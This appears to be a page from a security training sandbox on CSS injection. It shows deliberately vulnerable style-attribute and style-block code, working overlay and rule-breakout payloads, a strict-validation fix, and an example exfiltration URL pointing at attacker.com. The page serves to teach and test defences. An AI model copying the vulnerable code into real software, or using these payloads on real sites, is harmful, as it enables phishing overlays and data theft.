← Back to sandbox
Security - Client-Side Injection Intermediate 4 possible tests

CSS Injection

A card customization widget inserts user-supplied values into two different CSS contexts: a style attribute and a <style> block. A third field sanitizes its input. Find which contexts allow arbitrary CSS rules to be injected and which are safe.

What is CSS Injection?

CSS injection occurs when user input is placed inside a style attribute or <style> block without sanitization. Adding a semicolon to a style attribute lets attackers append arbitrary CSS properties to the same element. Closing a CSS rule with } inside a <style> block lets attackers write entirely new rules targeting any element on the page. Common impacts include phishing overlays, data exfiltration via background: url(), and UI defacement.

What is hidden here

True Negative A valid hex color like #4fc3f7 in the border-color field renders the card correctly with no injection.
Bug Found Appending a semicolon to the border-color value injects extra CSS properties into the same style attribute, enabling a full-screen overlay on the card element.
Bug Found Closing the CSS rule with } inside the <style> block lets a new rule target the sentinel indicator, changing its color and proving cross-element CSS injection.
True Positive The sanitized field rejects any input containing ;, }, or url( and only applies the value if it passes a strict color format check.

Test 1 - Border Color via style Attribute

The card border color is applied by setting style="border-color: [input]" directly on the element. A semicolon in the input starts a new CSS property declaration inside the same attribute.

✗ element.setAttribute('style', 'border: 2px solid ' + input)
CARD PREVIEW
Jane Doe
QA Engineer
Quick tests
style attribute assigned to #card1
(not applied yet)

Test 2 - Accent Color via <style> Block

The card accent color is written into a <style> tag as #card2 { color: [input] }. A closing brace in the input terminates the rule early and lets a new selector target any other element on the page.

✗ styleTag.textContent = '#card2 { color: ' + input + ' }'
Sentinel indicator - should stay green if no rule breakout occurs
CARD PREVIEW
Jane Doe
QA Engineer
Quick tests
content of <style id="dynamic-style-2">
(not applied yet)

Test 3 - Sanitized Color Field

This field validates input before applying it: only hex colors matching /^#[0-9a-fA-F]{3,6}$/ or lowercase named colors matching /^[a-z]+$/ are accepted. Anything else is rejected without touching the DOM.

✓ strict format validation before setAttribute
CARD PREVIEW
Jane Doe
QA Engineer
Quick tests
validation result
(not applied yet)

  • In Test 1, enter #4fc3f7 and click Apply - the card border turns blue, no injection (true negative)
  • In Test 1, try red; position:fixed; inset:0; background:#fff; z-index:9999 - the semicolon ends the border-color value and the injected properties are applied to the same element, creating a full-screen overlay (bug found)
  • In Test 2, enter var(--accent) - the card text turns blue, sentinel stays green (true negative)
  • In Test 2, try red } #sentinel-dot { background: #f87171 - the closing brace terminates the card rule early; the browser parses the new selector and turns the sentinel red, proving the injection escaped its intended element (bug found)
  • In Test 3, try the same overlay payload from Test 1 - the validator finds the semicolon and rejects the input before touching the DOM (true positive)
  • Note that CSS injection does not require JavaScript - it can exfiltrate data server-side via background: url(https://attacker.com?data=...) triggered purely by the browser loading CSS